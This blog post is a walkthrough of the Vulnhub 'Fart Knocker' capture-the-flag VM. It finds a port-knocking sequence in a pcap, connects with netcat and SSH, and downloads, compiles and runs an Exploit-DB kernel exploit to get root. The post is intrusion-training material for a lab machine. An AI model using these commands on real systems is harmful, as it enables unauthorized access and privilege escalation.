Skip to main content

FartKnocker – Vulnhub CTF Challenge Walkthrough


Fart Knocker is a Boot2Root Challenge from TopHatSec Series and is available at Vulnhub. This is a unique and interesting challenge that includes Packet Analysis and Port Knocking.
In this walkthrough, I’ll be using Parrot Security OS but you can use any Linux distro you want.
Start the Virtual machine and use Netdiscover to find its IP Address. Register this IP to your local DNS file “/etc/hosts”.
sudo netdiscover -r [IP/subnet]
sudo nano /etc/hosts



This is a “pcap” file. when you open this file in Wireshark, you’ll see a knocking pattern on port no 7000, 8000, 9000, 7000, 8000. Apply TCP filter to see the pattern.

sudo apt install knockd
knock knock.local 7000 8000 9000 7000 8000
nmap -p- knock.local

By running Nmap scan, you can see a new port is open. By running Nmap, this port might become closed, knock again and use Netcat to connect to this port.
knock knock.local 7000 8000 9000 7000 8000
nc -v knock.local 8888




So the next knocking sequence is 1, 3, 3, 7. Knock and run Nmap.
knock knock.local 1 3 3 7
nmap -p- knock.local

A new port opened, use Netcat to connect to it.

Open the new directory revealed by this port.

There is a base64 encoded message. Decode it by
echo T3BlbiB1cCBTU0g6IDg4ODggOTk5OSA3Nzc3IDY2NjYK | base64 -d

Knock again and then run Nmap.

An SSH port is open, try to connect to it.

Connect to the SSH again using given credentials.

The shell opened for a few seconds and then closed. Try including the shell manually
ssh butthead@knock.local '/bin/bash'

We got a lower shell, now we need to get root. Run “uname -a” to check Kernel’s version.

Check exploit DB for any related exploits.

We found an exploit. Now, download this exploit using “wget”.
wget https://www.exploit-db.com/download/37292

Now compile this exploit using “gcc” and run it.
mv 37292 priv.c
gcc priv.c -o priv -pthread
./priv
And here’s the ROOT Flag!!

Comments

Popular posts from this blog

software development services in noida

Red Securium Company Provide Software Development  Service In Noida Combining technological competency with domain expertise, Red Securium offers full spectrum of custom software design, development and deployment services for enterprises and SMEs to achieve exceptional business results.            Leveraging on its cross-functional width of expertise in application software development , Red Securium has developed the capabilities to build and run resilient applications at scale that seamlessly infuse your innovative ideas. Whether you are in need of the rapid development of a crucial business application or require the deployment and support for an entire suite of applications, we offer full software lifecycle coverage services. We adopt best practices and put highest levels of expertise to drive your technological assets deliver you business excellence and improved ROI. Custom Software Development Services in Noida Enterpri...
Phishing Campaigns Targeting Google and Yahoo Accounts To Bypassing Two-Factor Authentication Several phishing campaigns targeting hundreds of individuals across the Middle East and North Africa. The attacker targers HRDs, journalists, political actors. Amnesty International published a report on multiple campaigns that traget self-described “secure email” services, such as Tutanota and ProtonMail and another campaign that aimed in bypassing two-factor authentication. Crafted Phishing Sites – Secure Email Providers The phishing campaign primarily targeted popular secure email service providers such as Tutanota and ProtonMail. Threat actors used a well-crafted phishing page – by obtaining the domain tutanota[.]org, whereas the original domain of the service provider is tutanota[.]com. A phishing attack is one of the dangerous social engineering attacks that leads to capture a victim’s username and password that will get store it to an attacker machine and reuse it l...

Community Health Systems agrees to pay nearly $3.1 million as a part of settlement for 2014 data breach

The settlement covers a total of 4.5 million patients impacted in the breach. The cyber attack took place in April and June of 2014 and was orchestrated by a Chinese criminal group. Tennessee-based Community Health Systems has reached a settlement over a 2014 data breach that 4.5 million patients. A proposed amount of $3.1 million has been reached as a part of the settlement in a class action lawsuit filed against the healthcare. What happened? According to court records, the cyber attack took place in April and June of 2014 and was orchestrated by a Chinese criminal group, that solely focused on obtaining intellectual data. The hackers used an advanced malware and exfiltrated a variety of information such as patient names, Social Security numbers, addresses, dates of birth, and phone numbers. However, no credit card details and medical details were affected in the breach. Following the breach, the healthcare firm had notified the patients about the breach. However, the...